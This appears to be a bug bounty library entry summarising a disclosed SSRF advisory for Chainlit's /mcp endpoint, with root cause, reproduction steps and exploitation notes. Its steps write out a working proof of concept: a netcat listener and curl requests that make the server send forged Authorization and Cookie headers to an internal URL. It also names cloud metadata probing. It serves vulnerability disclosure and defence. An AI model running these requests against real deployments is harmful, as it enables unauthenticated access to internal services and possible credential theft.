# Chainlist has SSRF via MCP SSE and streamable-http transports that allows unauthenticated internal network access

Chainlit's /mcp endpoint passed unauthenticated user-supplied URLs and headers to MCP SSE/streamable-http clients, enabling blind SSRF with attacker-controlled Authorization/Cookie headers.

- Payout: Research
- Severity: high
- Program: Chainlit
- Found by: qvipin, ladderlogix
- Disclosed: 2026-08-25
- CVE: CVE-2026-45019
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-hvfh-5mj3-5f3j
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hvfh-5mj3-5f3j
- Tags: area:web domain:web impact:integrity impact:internal-access kind:research platform:ghsa sev:high tech:python technique:source-review vuln:auth-bypass vuln:ssrf

**Target:** POST /mcp endpoint (MCP sse / streamable-http transports)
**Root cause:** Pydantic request models in backend/chainlit/types.py define `url` as a bare str with no scheme check, private-IP filtering or allowlist, and the connect_mcp handler in backend/chainlit/server.py passes url plus user-supplied headers straight to the MCP SDK's sse_client()/streamablehttp_client(), which issue outbound HTTP requests.
**Steps:**
1. Enable `features.mcp.enabled = true` in `.chainlit/config.toml` (target must be affected >=2.4.0rc0, <2.12.0).
2. Start a listener: `nc -l 4445`.
3. Obtain a Socket.IO session id: `curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling'` and parse `sid` from the response.
4. Open the session: `curl -s -X POST "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'`.
5. Trigger SSRF: `curl -s -X POST 'http://TARGET:8000/mcp' -H 'Content-Type: application/json' -d '{"sessionId":"ssrf","clientType":"streamable-http","name":"probe","url":"http://127.0.0.1:4445/internal-admin","headers":{"Authorization":"Bearer attacker-controlled-token","X-Internal-Secret":"exfiltrated","Cookie":"session=hijacked"}}'`.
6. Observe the listener receiving `POST /internal-admin` with the attacker-supplied Authorization, X-Internal-Secret and Cookie headers.
**How found:** Code review of the MCP request models and connect_mcp handler: `url` typed as bare str with no validation, and headers passed unmodified to the SDK clients; confirmed with a local TCP listener capturing the server-side request.
**Exploitation:** Unauthenticated attacker posts to /mcp with clientType sse or streamable-http and an arbitrary url plus headers dict; the server issues the outbound request with those headers. Blind (response not returned), but full control of destination and headers allows state-changing authenticated POSTs to internal APIs, internal service discovery, port scanning and cloud metadata probing (169.254.169.254).
**Escalation:** Header forwarding (added in PR #2292, v2.6.4) amplified plain URL SSRF into forged-credential requests against internal services; metadata endpoint probing could yield cloud credentials.
**Insight:** When a feature proxies user-supplied URLs to an SDK client, check whether the SDK also accepts a headers dict — header forwarding turns blind SSRF into authenticated write primitives against internal APIs even without response readback. Also check SDK defaults like follow_redirects=True that silently defeat later allowlists.

